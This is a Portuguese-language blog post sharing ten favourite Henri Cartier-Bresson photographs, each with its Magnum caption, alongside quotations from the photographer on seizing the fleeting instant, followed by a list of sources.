Dei uma olhada nos livros e separei umas 30 fotos que mais gostei. Como não conseguiria colocar todas, separei 10 que mais me chamaram atenção. E, para complementar e para poderem entender o modo de pensar dele e os meios que o moviam, vou colocar algumas citações de Henri (virei íntima, já?).

© Henri Cartier-Bresson/Magnum Photos
ITALY. 1933. “Transport amoureux: on nage comme on peut.”

“Fotografar é colocar na mesma linha de mira, a cabeça, o olho e o coração. É um estilo de vida.”

© Henri Cartier-Bresson/Magnum Photos
FRANCE. Paris. Along the Seine. 1936.

“Actually, I’m not all that interested in the subject of photography. Once the picture is in the box, I’m not all that interested in what happens next. Hunters, after all, aren’t cooks.”

© Henri Cartier-Bresson/Magnum Photos
FRANCE. Nicole CARTIER-BRESSON, Henri’s sister. 1944.

“A fotografia é uma lição de amor e ódio ao mesmo tempo. É uma metralhadora, mas também é o divã do analista. Uma interrogação e uma afirmação, um sim e um não ao mesmo tempo. Mas é sobretudo um beijo muito cálido.”

© Henri Cartier-Bresson/Magnum Photos
FRANCE. Paris. Place de l’Europe. Gare Saint Lazare. 1932.

“Para mim, a fotografia é um reconhecimento simultâneo, numa fração de segundo, do significado do acontecimento, bem como da precisa organização das formas que dá ao acontecimento sua exata expressão”

© Henri Cartier-Bresson/Magnum Photos
SPAIN. Andalucia. Grenada. Gypsies. 1933.

“O papel do fotógrafo é documentar e para isso o necessário é uma câmera eficiente e intuição.”

© Henri Cartier-Bresson/Magnum Photos
ITALY. Abruzzo. Aquila. 1951.

“In photography, the smallest thing can be a great subject. The little, human detail can become a Leitmotiv.”

© Henri Cartier-Bresson/Magnum Photos
ITALY. Sicily. Palermo. 1971

“Os fotógrafos não fazem mais do que mostrar as agulhas do relógio, mas eles escolhem os seus instantes.”

© Henri Cartier-Bresson/Magnum Photos
ROMANIA. In a train. 1975.

“De todos os meios de expressão, a fotografia é o único que fixa para sempre o instante preciso e transitório. Nós, fotógrafos, lidamos com coisas que estão continuamente desaparecendo e, uma vez desaparecidas, não há mecanismo no mundo capaz de fazê-Ias voltar outra vez. Não podemos revelar ou copiar uma memória.”

© Henri Cartier-Bresson/Magnum Photos
WEST GERMANY. 1962. West Berlin. The Berlin wall.

“The creative act lasts but a brief moment, a lightning instant of give-and-take, just long enough for you to level the camera and to trap the fleeting prey in your little box.”

© Henri Cartier-Bresson/Magnum Photos
WEST GERMANY. 1962. West Berlin. The Berlin wall.

Com carinho

A.

Fontes de pesquisa:

Histórico: www.cursodehistoriadaarte.com.br e www.rodolfoclix.wordpress.com

Citações: www.brainyquote.com e www.rodolfoclix.wordpress.com

Fotos: Magnum

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